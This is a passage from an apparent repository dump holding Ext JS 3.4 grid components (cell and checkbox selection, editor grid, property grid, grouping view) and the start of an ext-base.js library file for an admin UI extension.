hideable:false, menuDisabled:true, dataIndex:\"\", id:\"numberer\", rowspan:undefined, renderer:function (b, c, a, d) {\n    if (this.rowspan) {\n        c.cellAttr = 'rowspan=\"' + this.rowspan + '\"'\n    }\n    return d + 1\n}});\nExt.grid.CheckboxSelectionModel = Ext.extend(Ext.grid.RowSelectionModel, {header:'<div class=\"x-grid3-hd-checker\">&#160;</div>', width:20, sortable:false, menuDisabled:true, fixed:true, hideable:false, dataIndex:\"\", id:\"checker\", isColumn:true, constructor:function () {\n    Ext.grid.CheckboxSelectionModel.superclass.constructor.apply(this, arguments);\n    if (this.checkOnly) {\n        this.handleMouseDown = Ext.emptyFn\n    }\n}, initEvents:function () {\n    Ext.grid.CheckboxSelectionModel.superclass.initEvents.call(this);\n    this.grid.on(\"render\", function () {\n        Ext.fly(this.grid.getView().innerHd).on(\"mousedown\", this.onHdMouseDown, this)\n    }, this)\n}, processEvent:function (b, d, c, g, a) {\n    if (b == \"mousedown\") {\n        this.onMouseDown(d, d.getTarget());\n        return false\n    } else {\n        return Ext.grid.Column.prototype.processEvent.apply(this, arguments)\n    }\n}, onMouseDown:function (c, b) {\n    if (c.button === 0 && b.className == \"x-grid3-row-checker\") {\n        c.stopEvent();\n        var d = c.getTarget(\".x-grid3-row\");\n        if (d) {\n            var a = d.rowIndex;\n            if (this.isSelected(a)) {\n                this.deselectRow(a)\n            } else {\n                this.selectRow(a, true);\n                this.grid.getView().focusRow(a)\n            }\n        }\n    }\n}, onHdMouseDown:function (c, a) {\n    if (a.className == \"x-grid3-hd-checker\") {\n        c.stopEvent();\n        var b = Ext.fly(a.parentNode);\n        var d = b.hasClass(\"x-grid3-hd-checker-on\");\n        if (d) {\n            b.removeClass(\"x-grid3-hd-checker-on\");\n            this.clearSelections()\n        } else {\n            b.addClass(\"x-grid3-hd-checker-on\");\n            this.selectAll()\n        }\n    }\n}, renderer:function (b, c, a) {\n    return'<div class=\"x-grid3-row-checker\">&#160;</div>'\n}, onEditorSelect:function (b, a) {\n    if (a != b && !this.checkOnly) {\n        this.selectRow(b)\n    }\n}});\nExt.grid.CellSelectionModel = Ext.extend(Ext.grid.AbstractSelectionModel, {constructor:function (a) {\n    Ext.apply(this, a);\n    this.selection = null;\n    this.addEvents(\"beforecellselect\", \"cellselect\", \"selectionchange\");\n    Ext.grid.CellSelectionModel.superclass.constructor.call(this)\n}, initEvents:function () {\n    this.grid.on(\"cellmousedown\", this.handleMouseDown, this);\n    this.grid.on(Ext.EventManager.getKeyEvent(), this.handleKeyDown, this);\n    this.grid.getView().on({scope:this, refresh:this.onViewChange, rowupdated:this.onRowUpdated, beforerowremoved:this.clearSelections, beforerowsinserted:this.clearSelections});\n    if (this.grid.isEditor) {\n        this.grid.on(\"beforeedit\", this.beforeEdit, this)\n    }\n}, beforeEdit:function (a) {\n    this.select(a.row, a.column, false, true, a.record)\n}, onRowUpdated:function (a, b, c) {\n    if (this.selection && this.selection.record == c) {\n        a.onCellSelect(b, this.selection.cell[1])\n    }\n}, onViewChange:function () {\n    this.clearSelections(true)\n}, getSelectedCell:function () {\n    return this.selection ? this.selection.cell : null\n}, clearSelections:function (b) {\n    var a = this.selection;\n    if (a) {\n        if (b !== true) {\n            this.grid.view.onCellDeselect(a.cell[0], a.cell[1])\n        }\n        this.selection = null;\n        this.fireEvent(\"selectionchange\", this, null)\n    }\n}, hasSelection:function () {\n    return this.selection ? true : false\n}, handleMouseDown:function (b, d, a, c) {\n    if (c.button !== 0 || this.isLocked()) {\n        return\n    }\n    this.select(d, a)\n}, select:function (g, c, b, e, d) {\n    if (this.fireEvent(\"beforecellselect\", this, g, c) !== false) {\n        this.clearSelections();\n        d = d || this.grid.store.getAt(g);\n        this.selection = {record:d, cell:[g, c]};\n        if (!b) {\n            var a = this.grid.getView();\n            a.onCellSelect(g, c);\n            if (e !== true) {\n                a.focusCell(g, c)\n            }\n        }\n        this.fireEvent(\"cellselect\", this, g, c);\n        this.fireEvent(\"selectionchange\", this, this.selection)\n    }\n}, isSelectable:function (c, b, a) {\n    return !a.isHidden(b)\n}, onEditorKey:function (b, a) {\n    if (a.getKey() == a.TAB) {\n        this.handleKeyDown(a)\n    }\n}, handleKeyDown:function (j) {\n    if (!j.isNavKeyPress()) {\n        return\n    }\n    var d = j.getKey(), i = this.grid, p = this.selection, b = this, m = function (g, c, e) {\n        return i.walkCells(g, c, e, i.isEditor && i.editing ? b.acceptsNav : b.isSelectable, b)\n    }, o, h, a, l, n;\n    switch (d) {\n        case j.ESC:\n        case j.PAGE_UP:\n        case j.PAGE_DOWN:\n            break;\n        default:\n            j.stopEvent();\n            break\n    }\n    if (!p) {\n        o = m(0, 0, 1);\n        if (o) {\n            this.select(o[0], o[1])\n        }\n        return\n    }\n    o = p.cell;\n    a = o[0];\n    l = o[1];\n    switch (d) {\n        case j.TAB:\n            if (j.shiftKey) {\n                h = m(a, l - 1, -1)\n            } else {\n                h = m(a, l + 1, 1)\n            }\n            break;\n        case j.DOWN:\n            h = m(a + 1, l, 1);\n            break;\n        case j.UP:\n            h = m(a - 1, l, -1);\n            break;\n        case j.RIGHT:\n            h = m(a, l + 1, 1);\n            break;\n        case j.LEFT:\n            h = m(a, l - 1, -1);\n            break;\n        case j.ENTER:\n            if (i.isEditor && !i.editing) {\n                i.startEditing(a, l);\n                return\n            }\n            break\n    }\n    if (h) {\n        a = h[0];\n        l = h[1];\n        this.select(a, l);\n        if (i.isEditor && i.editing) {\n            n = i.activeEditor;\n            if (n && n.field.triggerBlur) {\n                n.field.triggerBlur()\n            }\n            i.startEditing(a, l)\n        }\n    }\n}, acceptsNav:function (c, b, a) {\n    return !a.isHidden(b) && a.isCellEditable(b, c)\n}});\nExt.grid.EditorGridPanel = Ext.extend(Ext.grid.GridPanel, {clicksToEdit:2, forceValidation:false, isEditor:true, detectEdit:false, autoEncode:false, trackMouseOver:false, initComponent:function () {\n    Ext.grid.EditorGridPanel.superclass.initComponent.call(this);\n    if (!this.selModel) {\n        this.selModel = new Ext.grid.CellSelectionModel()\n    }\n    this.activeEditor = null;\n    this.addEvents(\"beforeedit\", \"afteredit\", \"validateedit\")\n}, initEvents:function () {\n    Ext.grid.EditorGridPanel.superclass.initEvents.call(this);\n    this.getGridEl().on(\"mousewheel\", this.stopEditing.createDelegate(this, [true]), this);\n    this.on(\"columnresize\", this.stopEditing, this, [true]);\n    if (this.clicksToEdit == 1) {\n        this.on(\"cellclick\", this.onCellDblClick, this)\n    } else {\n        var a = this.getView();\n        if (this.clicksToEdit == \"auto\" && a.mainBody) {\n            a.mainBody.on(\"mousedown\", this.onAutoEditClick, this)\n        }\n        this.on(\"celldblclick\", this.onCellDblClick, this)\n    }\n}, onResize:function () {\n    Ext.grid.EditorGridPanel.superclass.onResize.apply(this, arguments);\n    var a = this.activeEditor;\n    if (this.editing && a) {\n        a.realign(true)\n    }\n}, onCellDblClick:function (b, c, a) {\n    this.startEditing(c, a)\n}, onAutoEditClick:function (c, b) {\n    if (c.button !== 0) {\n        return\n    }\n    var g = this.view.findRowIndex(b), a = this.view.findCellIndex(b);\n    if (g !== false && a !== false) {\n        this.stopEditing();\n        if (this.selModel.getSelectedCell) {\n            var d = this.selModel.getSelectedCell();\n            if (d && d[0] === g && d[1] === a) {\n                this.startEditing(g, a)\n            }\n        } else {\n            if (this.selModel.isSelected(g)) {\n                this.startEditing(g, a)\n            }\n        }\n    }\n}, onEditComplete:function (b, d, a) {\n    this.editing = false;\n    this.lastActiveEditor = this.activeEditor;\n    this.activeEditor = null;\n    var c = b.record, h = this.colModel.getDataIndex(b.col);\n    d = this.postEditValue(d, a, c, h);\n    if (this.forceValidation === true || String(d) !== String(a)) {\n        var g = {grid:this, record:c, field:h, originalValue:a, value:d, row:b.row, column:b.col, cancel:false};\n        if (this.fireEvent(\"validateedit\", g) !== false && !g.cancel && String(d) !== String(a)) {\n            c.set(h, g.value);\n            delete g.cancel;\n            this.fireEvent(\"afteredit\", g)\n        }\n    }\n    this.view.focusCell(b.row, b.col)\n}, startEditing:function (i, c) {\n    this.stopEditing();\n    if (this.colModel.isCellEditable(c, i)) {\n        this.view.ensureVisible(i, c, true);\n        var d = this.store.getAt(i), h = this.colModel.getDataIndex(c), g = {grid:this, record:d, field:h, value:d.data[h], row:i, column:c, cancel:false};\n        if (this.fireEvent(\"beforeedit\", g) !== false && !g.cancel) {\n            this.editing = true;\n            var b = this.colModel.getCellEditor(c, i);\n            if (!b) {\n                return\n            }\n            if (!b.rendered) {\n                b.parentEl = this.view.getEditorParent(b);\n                b.on({scope:this, render:{fn:function (e) {\n                    e.field.focus(false, true)\n                }, single:true, scope:this}, specialkey:function (k, j) {\n                    this.getSelectionModel().onEditorKey(k, j)\n                }, complete:this.onEditComplete, canceledit:this.stopEditing.createDelegate(this, [true])})\n            }\n            Ext.apply(b, {row:i, col:c, record:d});\n            this.lastEdit = {row:i, col:c};\n            this.activeEditor = b;\n            b.selectSameEditor = (this.activeEditor == this.lastActiveEditor);\n            var a = this.preEditValue(d, h);\n            b.startEdit(this.view.getCell(i, c).firstChild, Ext.isDefined(a) ? a : \"\");\n            (function () {\n                delete b.selectSameEditor\n            }).defer(50)\n        }\n    }\n}, preEditValue:function (a, c) {\n    var b = a.data[c];\n    return this.autoEncode && Ext.isString(b) ? Ext.util.Format.htmlDecode(b) : b\n}, postEditValue:function (c, a, b, d) {\n    return this.autoEncode && Ext.isString(c) ? Ext.util.Format.htmlEncode(c) : c\n}, stopEditing:function (b) {\n    if (this.editing) {\n        var a = this.lastActiveEditor = this.activeEditor;\n        if (a) {\n            a[b === true ? \"cancelEdit\" : \"completeEdit\"]();\n            this.view.focusCell(a.row, a.col)\n        }\n        this.activeEditor = null\n    }\n    this.editing = false\n}});\nExt.reg(\"editorgrid\", Ext.grid.EditorGridPanel);\nExt.grid.GridEditor = function (b, a) {\n    Ext.grid.GridEditor.superclass.constructor.call(this, b, a);\n    b.monitorTab = false\n};\nExt.extend(Ext.grid.GridEditor, Ext.Editor, {alignment:\"tl-tl\", autoSize:\"width\", hideEl:false, cls:\"x-small-editor x-grid-editor\", shim:false, shadow:false});\nExt.grid.PropertyRecord = Ext.data.Record.create([\n    {name:\"name\", type:\"string\"},\n    \"value\"\n]);\nExt.grid.PropertyStore = Ext.extend(Ext.util.Observable, {constructor:function (a, b) {\n    this.grid = a;\n    this.store = new Ext.data.Store({recordType:Ext.grid.PropertyRecord});\n    this.store.on(\"update\", this.onUpdate, this);\n    if (b) {\n        this.setSource(b)\n    }\n    Ext.grid.PropertyStore.superclass.constructor.call(this)\n}, setSource:function (c) {\n    this.source = c;\n    this.store.removeAll();\n    var b = [];\n    for (var a in c) {\n        if (this.isEditableValue(c[a])) {\n            b.push(new Ext.grid.PropertyRecord({name:a, value:c[a]}, a))\n        }\n    }\n    this.store.loadRecords({records:b}, {}, true)\n}, onUpdate:function (e, a, d) {\n    if (d == Ext.data.Record.EDIT) {\n        var b = a.data.value;\n        var c = a.modified.value;\n        if (this.grid.fireEvent(\"beforepropertychange\", this.source, a.id, b, c) !== false) {\n            this.source[a.id] = b;\n            a.commit();\n            this.grid.fireEvent(\"propertychange\", this.source, a.id, b, c)\n        } else {\n            a.reject()\n        }\n    }\n}, getProperty:function (a) {\n    return this.store.getAt(a)\n}, isEditableValue:function (a) {\n    return Ext.isPrimitive(a) || Ext.isDate(a)\n}, setValue:function (d, c, a) {\n    var b = this.getRec(d);\n    if (b) {\n        b.set(\"value\", c);\n        this.source[d] = c\n    } else {\n        if (a) {\n            this.source[d] = c;\n            b = new Ext.grid.PropertyRecord({name:d, value:c}, d);\n            this.store.add(b)\n        }\n    }\n}, remove:function (b) {\n    var a = this.getRec(b);\n    if (a) {\n        this.store.remove(a);\n        delete this.source[b]\n    }\n}, getRec:function (a) {\n    return this.store.getById(a)\n}, getSource:function () {\n    return this.source\n}});\nExt.grid.PropertyColumnModel = Ext.extend(Ext.grid.ColumnModel, {nameText:\"Name\", valueText:\"Value\", dateFormat:\"m/j/Y\", trueText:\"true\", falseText:\"false\", constructor:function (c, b) {\n    var d = Ext.grid, e = Ext.form;\n    this.grid = c;\n    d.PropertyColumnModel.superclass.constructor.call(this, [\n        {header:this.nameText, width:50, sortable:true, dataIndex:\"name\", id:\"name\", menuDisabled:true},\n        {header:this.valueText, width:50, resizable:false, dataIndex:\"value\", id:\"value\", menuDisabled:true}\n    ]);\n    this.store = b;\n    var a = new e.Field({autoCreate:{tag:\"select\", children:[\n        {tag:\"option\", value:\"true\", html:this.trueText},\n        {tag:\"option\", value:\"false\", html:this.falseText}\n    ]}, getValue:function () {\n        return this.el.dom.value == \"true\"\n    }});\n    this.editors = {date:new d.GridEditor(new e.DateField({selectOnFocus:true})), string:new d.GridEditor(new e.TextField({selectOnFocus:true})), number:new d.GridEditor(new e.NumberField({selectOnFocus:true, style:\"text-align:left;\"})), \"boolean\":new d.GridEditor(a, {autoSize:\"both\"})};\n    this.renderCellDelegate = this.renderCell.createDelegate(this);\n    this.renderPropDelegate = this.renderProp.createDelegate(this)\n}, renderDate:function (a) {\n    return a.dateFormat(this.dateFormat)\n}, renderBool:function (a) {\n    return this[a ? \"trueText\" : \"falseText\"]\n}, isCellEditable:function (a, b) {\n    return a == 1\n}, getRenderer:function (a) {\n    return a == 1 ? this.renderCellDelegate : this.renderPropDelegate\n}, renderProp:function (a) {\n    return this.getPropertyName(a)\n}, renderCell:function (d, b, c) {\n    var a = this.grid.customRenderers[c.get(\"name\")];\n    if (a) {\n        return a.apply(this, arguments)\n    }\n    var e = d;\n    if (Ext.isDate(d)) {\n        e = this.renderDate(d)\n    } else {\n        if (typeof d == \"boolean\") {\n            e = this.renderBool(d)\n        }\n    }\n    return Ext.util.Format.htmlEncode(e)\n}, getPropertyName:function (b) {\n    var a = this.grid.propertyNames;\n    return a && a[b] ? a[b] : b\n}, getCellEditor:function (a, e) {\n    var b = this.store.getProperty(e), d = b.data.name, c = b.data.value;\n    if (this.grid.customEditors[d]) {\n        return this.grid.customEditors[d]\n    }\n    if (Ext.isDate(c)) {\n        return this.editors.date\n    } else {\n        if (typeof c == \"number\") {\n            return this.editors.number\n        } else {\n            if (typeof c == \"boolean\") {\n                return this.editors[\"boolean\"]\n            } else {\n                return this.editors.string\n            }\n        }\n    }\n}, destroy:function () {\n    Ext.grid.PropertyColumnModel.superclass.destroy.call(this);\n    this.destroyEditors(this.editors);\n    this.destroyEditors(this.grid.customEditors)\n}, destroyEditors:function (b) {\n    for (var a in b) {\n        Ext.destroy(b[a])\n    }\n}});\nExt.grid.PropertyGrid = Ext.extend(Ext.grid.EditorGridPanel, {enableColumnMove:false, stripeRows:false, trackMouseOver:false, clicksToEdit:1, enableHdMenu:false, viewConfig:{forceFit:true}, initComponent:function () {\n    this.customRenderers = this.customRenderers || {};\n    this.customEditors = this.customEditors || {};\n    this.lastEditRow = null;\n    var b = new Ext.grid.PropertyStore(this);\n    this.propStore = b;\n    var a = new Ext.grid.PropertyColumnModel(this, b);\n    b.store.sort(\"name\", \"ASC\");\n    this.addEvents(\"beforepropertychange\", \"propertychange\");\n    this.cm = a;\n    this.ds = b.store;\n    Ext.grid.PropertyGrid.superclass.initComponent.call(this);\n    this.mon(this.selModel, \"beforecellselect\", function (e, d, c) {\n        if (c === 0) {\n            this.startEditing.defer(200, this, [d, 1]);\n            return false\n        }\n    }, this)\n}, onRender:function () {\n    Ext.grid.PropertyGrid.superclass.onRender.apply(this, arguments);\n    this.getGridEl().addClass(\"x-props-grid\")\n}, afterRender:function () {\n    Ext.grid.PropertyGrid.superclass.afterRender.apply(this, arguments);\n    if (this.source) {\n        this.setSource(this.source)\n    }\n}, setSource:function (a) {\n    this.propStore.setSource(a)\n}, getSource:function () {\n    return this.propStore.getSource()\n}, setProperty:function (c, b, a) {\n    this.propStore.setValue(c, b, a)\n}, removeProperty:function (a) {\n    this.propStore.remove(a)\n}});\nExt.reg(\"propertygrid\", Ext.grid.PropertyGrid);\nExt.grid.GroupingView = Ext.extend(Ext.grid.GridView, {groupByText:\"Group By This Field\", showGroupsText:\"Show in Groups\", hideGroupedColumn:false, showGroupName:true, startCollapsed:false, enableGrouping:true, enableGroupingMenu:true, enableNoGroups:true, emptyGroupText:\"(None)\", ignoreAdd:false, groupTextTpl:\"{text}\", groupMode:\"value\", cancelEditOnToggle:true, initTemplates:function () {\n    Ext.grid.GroupingView.superclass.initTemplates.call(this);\n    this.state = {};\n    var a = this.grid.getSelectionModel();\n    a.on(a.selectRow ? \"beforerowselect\" : \"beforecellselect\", this.onBeforeRowSelect, this);\n    if (!this.startGroup) {\n        this.startGroup = new Ext.XTemplate('<div id=\"{groupId}\" class=\"x-grid-group {cls}\">', '<div id=\"{groupId}-hd\" class=\"x-grid-group-hd\" style=\"{style}\"><div class=\"x-grid-group-title\">', this.groupTextTpl, \"</div></div>\", '<div id=\"{groupId}-bd\" class=\"x-grid-group-body\">')\n    }\n    this.startGroup.compile();\n    if (!this.endGroup) {\n        this.endGroup = \"</div></div>\"\n    }\n}, findGroup:function (a) {\n    return Ext.fly(a).up(\".x-grid-group\", this.mainBody.dom)\n}, getGroups:function () {\n    return this.hasRows() ? this.mainBody.dom.childNodes : []\n}, onAdd:function (d, a, b) {\n    if (this.canGroup() && !this.ignoreAdd) {\n        var c = this.getScrollState();\n        this.fireEvent(\"beforerowsinserted\", d, b, b + (a.length - 1));\n        this.refresh();\n        this.restoreScroll(c);\n        this.fireEvent(\"rowsinserted\", d, b, b + (a.length - 1))\n    } else {\n        if (!this.canGroup()) {\n            Ext.grid.GroupingView.superclass.onAdd.apply(this, arguments)\n        }\n    }\n}, onRemove:function (e, a, b, d) {\n    Ext.grid.GroupingView.superclass.onRemove.apply(this, arguments);\n    var c = document.getElementById(a._groupId);\n    if (c && c.childNodes[1].childNodes.length < 1) {\n        Ext.removeNode(c)\n    }\n    this.applyEmptyText()\n}, refreshRow:function (a) {\n    if (this.ds.getCount() == 1) {\n        this.refresh()\n    } else {\n        this.isUpdating = true;\n        Ext.grid.GroupingView.superclass.refreshRow.apply(this, arguments);\n        this.isUpdating = false\n    }\n}, beforeMenuShow:function () {\n    var c, a = this.hmenu.items, b = this.cm.config[this.hdCtxIndex].groupable === false;\n    if ((c = a.get(\"groupBy\"))) {\n        c.setDisabled(b)\n    }\n    if ((c = a.get(\"showGroups\"))) {\n        c.setDisabled(b);\n        c.setChecked(this.canGroup(), true)\n    }\n}, renderUI:function () {\n    var a = Ext.grid.GroupingView.superclass.renderUI.call(this);\n    if (this.enableGroupingMenu && this.hmenu) {\n        this.hmenu.add(\"-\", {itemId:\"groupBy\", text:this.groupByText, handler:this.onGroupByClick, scope:this, iconCls:\"x-group-by-icon\"});\n        if (this.enableNoGroups) {\n            this.hmenu.add({itemId:\"showGroups\", text:this.showGroupsText, checked:true, checkHandler:this.onShowGroupsClick, scope:this})\n        }\n        this.hmenu.on(\"beforeshow\", this.beforeMenuShow, this)\n    }\n    return a\n}, processEvent:function (b, i) {\n    Ext.grid.GroupingView.superclass.processEvent.call(this, b, i);\n    var h = i.getTarget(\".x-grid-group-hd\", this.mainBody);\n    if (h) {\n        var g = this.getGroupField(), d = this.getPrefix(g), a = h.id.substring(d.length), c = new RegExp(\"gp-\" + Ext.escapeRe(g) + \"--hd\");\n        a = a.substr(0, a.length - 3);\n        if (a || c.test(h.id)) {\n            this.grid.fireEvent(\"group\" + b, this.grid, g, a, i)\n        }\n        if (b == \"mousedown\" && i.button == 0) {\n            this.toggleGroup(h.parentNode)\n        }\n    }\n}, onGroupByClick:function () {\n    var a = this.grid;\n    this.enableGrouping = true;\n    a.store.groupBy(this.cm.getDataIndex(this.hdCtxIndex));\n    a.fireEvent(\"groupchange\", a, a.store.getGroupState());\n    this.beforeMenuShow();\n    this.refresh()\n}, onShowGroupsClick:function (a, b) {\n    this.enableGrouping = b;\n    if (b) {\n        this.onGroupByClick()\n    } else {\n        this.grid.store.clearGrouping();\n        this.grid.fireEvent(\"groupchange\", this, null)\n    }\n}, toggleRowIndex:function (c, a) {\n    if (!this.canGroup()) {\n        return\n    }\n    var b = this.getRow(c);\n    if (b) {\n        this.toggleGroup(this.findGroup(b), a)\n    }\n}, toggleGroup:function (c, b) {\n    var a = Ext.get(c), d = Ext.util.Format.htmlEncode(a.id);\n    b = Ext.isDefined(b) ? b : a.hasClass(\"x-grid-group-collapsed\");\n    if (this.state[d] !== b) {\n        if (this.cancelEditOnToggle !== false) {\n            this.grid.stopEditing(true)\n        }\n        this.state[d] = b;\n        a[b ? \"removeClass\" : \"addClass\"](\"x-grid-group-collapsed\")\n    }\n}, toggleAllGroups:function (c) {\n    var b = this.getGroups();\n    for (var d = 0, a = b.length; d < a; d++) {\n        this.toggleGroup(b[d], c)\n    }\n}, expandAllGroups:function () {\n    this.toggleAllGroups(true)\n}, collapseAllGroups:function () {\n    this.toggleAllGroups(false)\n}, getGroup:function (a, e, i, j, b, h) {\n    var c = this.cm.config[b], d = i ? i.call(c.scope, a, {}, e, j, b, h) : String(a);\n    if (d === \"\" || d === \"&#160;\") {\n        d = c.emptyGroupText || this.emptyGroupText\n    }\n    return d\n}, getGroupField:function () {\n    return this.grid.store.getGroupState()\n}, afterRender:function () {\n    if (!this.ds || !this.cm) {\n        return\n    }\n    Ext.grid.GroupingView.superclass.afterRender.call(this);\n    if (this.grid.deferRowRender) {\n        this.updateGroupWidths()\n    }\n}, afterRenderUI:function () {\n    Ext.grid.GroupingView.superclass.afterRenderUI.call(this);\n    if (this.enableGroupingMenu && this.hmenu) {\n        this.hmenu.add(\"-\", {itemId:\"groupBy\", text:this.groupByText, handler:this.onGroupByClick, scope:this, iconCls:\"x-group-by-icon\"});\n        if (this.enableNoGroups) {\n            this.hmenu.add({itemId:\"showGroups\", text:this.showGroupsText, checked:true, checkHandler:this.onShowGroupsClick, scope:this})\n        }\n        this.hmenu.on(\"beforeshow\", this.beforeMenuShow, this)\n    }\n}, renderRows:function () {\n    var a = this.getGroupField();\n    var e = !!a;\n    if (this.hideGroupedColumn) {\n        var b = this.cm.findColumnIndex(a), d = Ext.isDefined(this.lastGroupField);\n        if (!e && d) {\n            this.mainBody.update(\"\");\n            this.cm.setHidden(this.cm.findColumnIndex(this.lastGroupField), false);\n            delete this.lastGroupField\n        } else {\n            if (e && !d) {\n                this.lastGroupField = a;\n                this.cm.setHidden(b, true)\n            } else {\n                if (e && d && a !== this.lastGroupField) {\n                    this.mainBody.update(\"\");\n                    var c = this.cm.findColumnIndex(this.lastGroupField);\n                    this.cm.setHidden(c, false);\n                    this.lastGroupField = a;\n                    this.cm.setHidden(b, true)\n                }\n            }\n        }\n    }\n    return Ext.grid.GroupingView.superclass.renderRows.apply(this, arguments)\n}, doRender:function (c, h, q, a, p, s) {\n    if (h.length < 1) {\n        return\"\"\n    }\n    if (!this.canGroup() || this.isUpdating) {\n        return Ext.grid.GroupingView.superclass.doRender.apply(this, arguments)\n    }\n    var z = this.getGroupField(), o = this.cm.findColumnIndex(z), w, j = \"width:\" + this.getTotalWidth() + \";\", e = this.cm.config[o], b = e.groupRenderer || e.renderer, t = this.showGroupName ? (e.groupName || e.header) + \": \" : \"\", y = [], l, u, v, n;\n    for (u = 0, v = h.length; u < v; u++) {\n        var k = a + u, m = h[u], d = m.data[z];\n        w = this.getGroup(d, m, b, k, o, q);\n        if (!l || l.group != w) {\n            n = this.constructId(d, z, o);\n            this.state[n] = !(Ext.isDefined(this.state[n]) ? !this.state[n] : this.startCollapsed);\n            l = {group:w, gvalue:d, text:t + w, groupId:n, startRow:k, rs:[m], cls:this.state[n] ? \"\" : \"x-grid-group-collapsed\", style:j};\n            y.push(l)\n        } else {\n            l.rs.push(m)\n        }\n        m._groupId = n\n    }\n    var x = [];\n    for (u = 0, v = y.length; u < v; u++) {\n        w = y[u];\n        this.doGroupStart(x, w, c, q, p);\n        x[x.length] = Ext.grid.GroupingView.superclass.doRender.call(this, c, w.rs, q, w.startRow, p, s);\n        this.doGroupEnd(x, w, c, q, p)\n    }\n    return x.join(\"\")\n}, getGroupId:function (a) {\n    var b = this.getGroupField();\n    return this.constructId(a, b, this.cm.findColumnIndex(b))\n}, constructId:function (c, e, a) {\n    var b = this.cm.config[a], d = b.groupRenderer || b.renderer, g = (this.groupMode == \"value\") ? c : this.getGroup(c, {data:{}}, d, 0, a, this.ds);\n    return this.getPrefix(e) + Ext.util.Format.htmlEncode(g)\n}, canGroup:function () {\n    return this.enableGrouping && !!this.getGroupField()\n}, getPrefix:function (a) {\n    return this.grid.getGridEl().id + \"-gp-\" + a + \"-\"\n}, doGroupStart:function (a, d, b, e, c) {\n    a[a.length] = this.startGroup.apply(d)\n}, doGroupEnd:function (a, d, b, e, c) {\n    a[a.length] = this.endGroup\n}, getRows:function () {\n    if (!this.canGroup()) {\n        return Ext.grid.GroupingView.superclass.getRows.call(this)\n    }\n    var k = [], c = this.getGroups(), h, e = 0, a = c.length, d, b;\n    for (; e < a; ++e) {\n        h = c[e].childNodes[1];\n        if (h) {\n            h = h.childNodes;\n            for (d = 0, b = h.length; d < b; ++d) {\n                k[k.length] = h[d]\n            }\n        }\n    }\n    return k\n}, updateGroupWidths:function () {\n    if (!this.canGroup() || !this.hasRows()) {\n        return\n    }\n    var c = Math.max(this.cm.getTotalWidth(), this.el.dom.offsetWidth - this.getScrollOffset()) + \"px\";\n    var b = this.getGroups();\n    for (var d = 0, a = b.length; d < a; d++) {\n        b[d].firstChild.style.width = c\n    }\n}, onColumnWidthUpdated:function (c, a, b) {\n    Ext.grid.GroupingView.superclass.onColumnWidthUpdated.call(this, c, a, b);\n    this.updateGroupWidths()\n}, onAllColumnWidthsUpdated:function (a, b) {\n    Ext.grid.GroupingView.superclass.onAllColumnWidthsUpdated.call(this, a, b);\n    this.updateGroupWidths()\n}, onColumnHiddenUpdated:function (b, c, a) {\n    Ext.grid.GroupingView.superclass.onColumnHiddenUpdated.call(this, b, c, a);\n    this.updateGroupWidths()\n}, onLayout:function () {\n    this.updateGroupWidths()\n}, onBeforeRowSelect:function (b, a) {\n    this.toggleRowIndex(a, true)\n}});\nExt.grid.GroupingView.GROUP_ID = 1000;"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ext-base.js",
    "content": "/*\n * Ext JS Library 3.4.0\n * Copyright(c) 2006-2011 Sencha Inc.\n * licensing@sencha.com\n * http://www.sencha.com/license\n */\nwindow.undefined=window.undefined;Ext={version:\"3.4.0\",versionDetail:{major:3,minor:4,patch:0}};Ext.apply=function(d,e,b){if(b){Ext.apply(d,b)}if(d&&e&&typeof e==\"object\"){for(var a in e){d[a]=e[a]}}return d};(function(){var g=0,u=Object.prototype.toString,v=navigator.userAgent.toLowerCase(),A=function(e){return e.test(v)},i=document,n=i.documentMode,l=i.compatMode==\"CSS1Compat\",C=A(/opera/),h=A(/\\bchrome\\b/),w=A(/webkit/),z=!h&&A(/safari/),f=z&&A(/applewebkit\\/4/),b=z&&A(/version\\/3/),D=z&&A(/version\\/4/),t=!C&&A(/msie/),r=t&&(A(/msie 7/)||n==7),q=t&&(A(/msie 8/)&&n!=7),p=t&&A(/msie 9/),s=t&&!r&&!q&&!p,o=!w&&A(/gecko/),d=o&&A(/rv:1\\.8/),a=o&&A(/rv:1\\.9/),x=t&&!l,B=A(/windows|win32/),k=A(/macintosh|mac os x/),j=A(/adobeair/),m=A(/linux/),c=/^https/i.test(window.location.protocol);if(s){try{i.execCommand(\"BackgroundImageCache\",false,true)}catch(y){}}Ext.apply(Ext,{SSL_SECURE_URL:c&&t?'javascript:\"\"':\"about:blank\",isStrict:l,isSecure:c,isReady:false,enableForcedBoxModel:false,enableGarbageCollector:true,enableListenerCollection:false,enableNestedListenerRemoval:false,USE_NATIVE_JSON:false,applyIf:function(E,F){if(E){for(var e in F){if(!Ext.isDefined(E[e])){E[e]=F[e]}}}return E},id:function(e,E){e=Ext.getDom(e,true)||{};if(!e.id){e.id=(E||\"ext-gen\")+(++g)}return e.id},extend:function(){var E=function(G){for(var F in G){this[F]=G[F]}};var e=Object.prototype.constructor;return function(L,I,K){if(typeof I==\"object\"){K=I;I=L;L=K.constructor!=e?K.constructor:function(){I.apply(this,arguments)}}var H=function(){},J,G=I.prototype;H.prototype=G;J=L.prototype=new H();J.constructor=L;L.superclass=G;if(G.constructor==e){G.constructor=I}L.override=function(F){Ext.override(L,F)};J.superclass=J.supr=(function(){return G});J.override=E;Ext.override(L,K);L.extend=function(F){return Ext.extend(L,F)};return L}}(),override:function(e,F){if(F){var E=e.prototype;Ext.apply(E,F);if(Ext.isIE&&F.hasOwnProperty(\"toString\")){E.toString=F.toString}}},namespace:function(){var G=arguments.length,H=0,E,F,e,J,I,K;for(;H<G;++H){e=arguments[H];J=arguments[H].split(\".\");K=window[J[0]];if(K===undefined){K=window[J[0]]={}}I=J.slice(1);E=I.length;for(F=0;F<E;++F){K=K[I[F]]=K[I[F]]||{}}}return K},urlEncode:function(I,H){var F,E=[],G=encodeURIComponent;Ext.iterate(I,function(e,J){F=Ext.isEmpty(J);Ext.each(F?e:J,function(K){E.push(\"&\",G(e),\"=\",(!Ext.isEmpty(K)&&(K!=e||!F))?(Ext.isDate(K)?Ext.encode(K).replace(/\"/g,\"\"):G(K)):\"\")})});if(!H){E.shift();H=\"\"}return H+E.join(\"\")},urlDecode:function(F,E){if(Ext.isEmpty(F)){return{}}var I={},H=F.split(\"&\"),J=decodeURIComponent,e,G;Ext.each(H,function(K){K=K.split(\"=\");e=J(K[0]);G=J(K[1]);I[e]=E||!I[e]?G:[].concat(I[e]).concat(G)});return I},urlAppend:function(e,E){if(!Ext.isEmpty(E)){return e+(e.indexOf(\"?\")===-1?\"?\":\"&\")+E}return e},toArray:function(){return 